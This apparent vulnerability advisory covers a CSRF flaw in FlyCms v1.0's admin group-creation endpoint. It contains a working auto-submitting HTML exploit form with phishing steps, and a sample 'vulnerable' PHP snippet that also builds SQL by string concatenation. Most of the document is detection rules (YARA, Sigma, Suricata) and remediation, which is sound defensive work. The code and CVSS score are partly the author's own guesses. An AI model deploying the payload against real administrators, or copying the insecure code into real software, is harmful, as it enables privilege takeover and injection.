CVE-2024-22593

Executive Summary

CVE-2024-22593 identifies a Cross-Site Request Forgery (CSRF) vulnerability in FlyCms v1.0, specifically within the /system/admin/add_group_save endpoint. This flaw allows an attacker to trick an authenticated administrator into performing unintended actions, such as creating new user groups with elevated privileges, without their consent. The vulnerability is unpatched, and no official fix has been released by the vendor. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for organizations using this CMS internally.

Supply Chain & Package Security

FlyCms is a PHP-based content management system. While not distributed via major package registries like NPM or PyPI, its dependencies (e.g., PHP libraries, JavaScript frameworks) could introduce additional risks. Administrators should audit all third-party components for known vulnerabilities and ensure the application is isolated from untrusted networks.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the vulnerability type (CSRF) and the affected endpoint (admin group creation), a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N) – the attack is carried out over the network.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – the attacker does not need to be authenticated.
• User Interaction (UI): Required (R) – the victim must click a link or visit a malicious page.
• Scope (S): Unchanged (U) – the vulnerable component and the attacker’s scope are the same.
• Confidentiality (C): Low (L) – limited data exposure possible.
• Integrity (I): High (H) – the attacker can modify system settings.
• Availability (A): Low (L) – potential for denial of service via group creation.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:L Base Score: 7.1 (High)

Threat Level: High. Although no public exploit exists, the simplicity of CSRF attacks and the lack of a patch make this a priority for remediation.

Deep Dive & Mechanics

The vulnerability resides in the add_group_save function within FlyCms’s admin panel. This endpoint handles the creation of new user groups. The application fails to implement anti-CSRF tokens or origin validation, allowing an attacker to craft a malicious HTML page that, when visited by an authenticated admin, submits a forged request to create a new group with arbitrary permissions.

Attack Flow:

1. Attacker crafts a malicious webpage containing an auto-submitting form or an image tag pointing to /system/admin/add_group_save with parameters like group_name=evil_group&permissions=admin.
2. Attacker lures an authenticated FlyCms admin to visit the malicious page (e.g., via phishing email or cross-site scripting).
3. The admin’s browser sends the forged request, including their session cookies, to the FlyCms server.
4. The server processes the request, creating a new group with elevated privileges.
5. The attacker can then log in as a member of that group and gain full administrative control.

Vulnerable vs. Patched Code

Vulnerable Code (FlyCms v1.0): The add_group_save function likely lacks CSRF protection. Example vulnerable PHP code:

// /system/admin/add_group_save.php
if ($_POST['submit']) {
    $group_name = $_POST['group_name'];
    $permissions = $_POST['permissions'];
    // No CSRF token check
    $db->query("INSERT INTO groups (name, permissions) VALUES ('$group_name', '$permissions')");
    header('Location: /admin/groups');
}

Patched Code (Hypothetical): A secure implementation would include a CSRF token validation:

// /system/admin/add_group_save.php
session_start();
if ($_POST['submit'] && hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) {
    $group_name = htmlspecialchars($_POST['group_name'], ENT_QUOTES, 'UTF-8');
    $permissions = htmlspecialchars($_POST['permissions'], ENT_QUOTES, 'UTF-8');
    $stmt = $db->prepare("INSERT INTO groups (name, permissions) VALUES (?, ?)");
    $stmt->bind_param("ss", $group_name, $permissions);
    $stmt->execute();
    header('Location: /admin/groups');
} else {
    die('CSRF validation failed.');
}

Exploitation & Lab Setup

Red Team

Lab Environment:

• FlyCms v1.0 installed on a local server (e.g., XAMPP or Docker).
• Attacker machine with a simple HTTP server (e.g., Python’s http.server).
• Victim browser with an active admin session.

Exploit Payload (HTML): Create a file csrf_exploit.html:

<!DOCTYPE html>
<html>
<body>
<form action="http://target.com/system/admin/add_group_save" method="POST" id="csrf_form">
    <input type="hidden" name="group_name" value="evil_group">
    <input type="hidden" name="permissions" value="admin">
    <input type="submit" value="Submit">
</form>
<script>
    document.getElementById('csrf_form').submit();
</script>
</body>
</html>

Steps:

1. Host the HTML file on the attacker’s server.
2. Send a phishing email to the admin with a link to the malicious page.
3. Once the admin clicks, the form auto-submits, creating the group.
4. The attacker logs in using the new group credentials (if known) or exploits further.

Blue Team

Detection:

• Monitor for unusual POST requests to /system/admin/add_group_save from unexpected referrers.
• Alert on creation of new admin groups outside of normal business hours.
• Use web application firewalls (WAF) to block requests lacking a valid CSRF token.

Hunting:

• Review server logs for multiple failed CSRF token checks (if any).
• Check for unexpected user group entries in the database.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /system/admin/add_group_save with parameters group_name and permissions.
• Logs: Server access logs showing requests from external IPs to the admin endpoint without a valid referrer.
• Database: New entries in the groups table with suspicious names (e.g., evil_group, hacker_group).
• File: Presence of unexpected files in the web root (e.g., csrf_exploit.html).

Detection Engineering

YARA Rule

rule flycms_csrf_exploit {
    meta:
        description = "Detects CSRF exploit attempts against FlyCms add_group_save endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-22593"
    strings:
        $s1 = "/system/admin/add_group_save" ascii wide nocase
        $s2 = "group_name" ascii wide nocase
        $s3 = "permissions" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: FlyCms CSRF Exploit Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP POST requests to FlyCms admin group creation endpoint without CSRF token
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: '/system/admin/add_group_save'
        cs-referrer: ''  # Empty or missing referrer
    condition: selection
falsepositives:
    - Legitimate admin actions from trusted IPs
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2024-22593 FlyCms CSRF Exploit Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/system/admin/add_group_save";
    http_uri;
    content:"group_name";
    http_client_body;
    content:"permissions";
    http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2024-22593;
    classtype:web-application-attack;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Implement CSRF Tokens: Add a unique, per-session token to all admin forms and validate it server-side.
2. Use SameSite Cookies: Set session cookies to SameSite=Strict or Lax to prevent cross-origin submission.
3. Validate Origin: Check the Origin or Referer header on sensitive requests.
4. Restrict Access: Limit admin panel access to trusted IPs or VPN.

Long-Term Fix:

• Since the vendor is unresponsive, consider migrating to a supported CMS or forking FlyCms to apply patches.
• Regularly audit all custom code for CSRF and other common vulnerabilities.

Workaround:

• Use a WAF to block requests to /system/admin/add_group_save that lack a valid CSRF token or originate from external domains.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert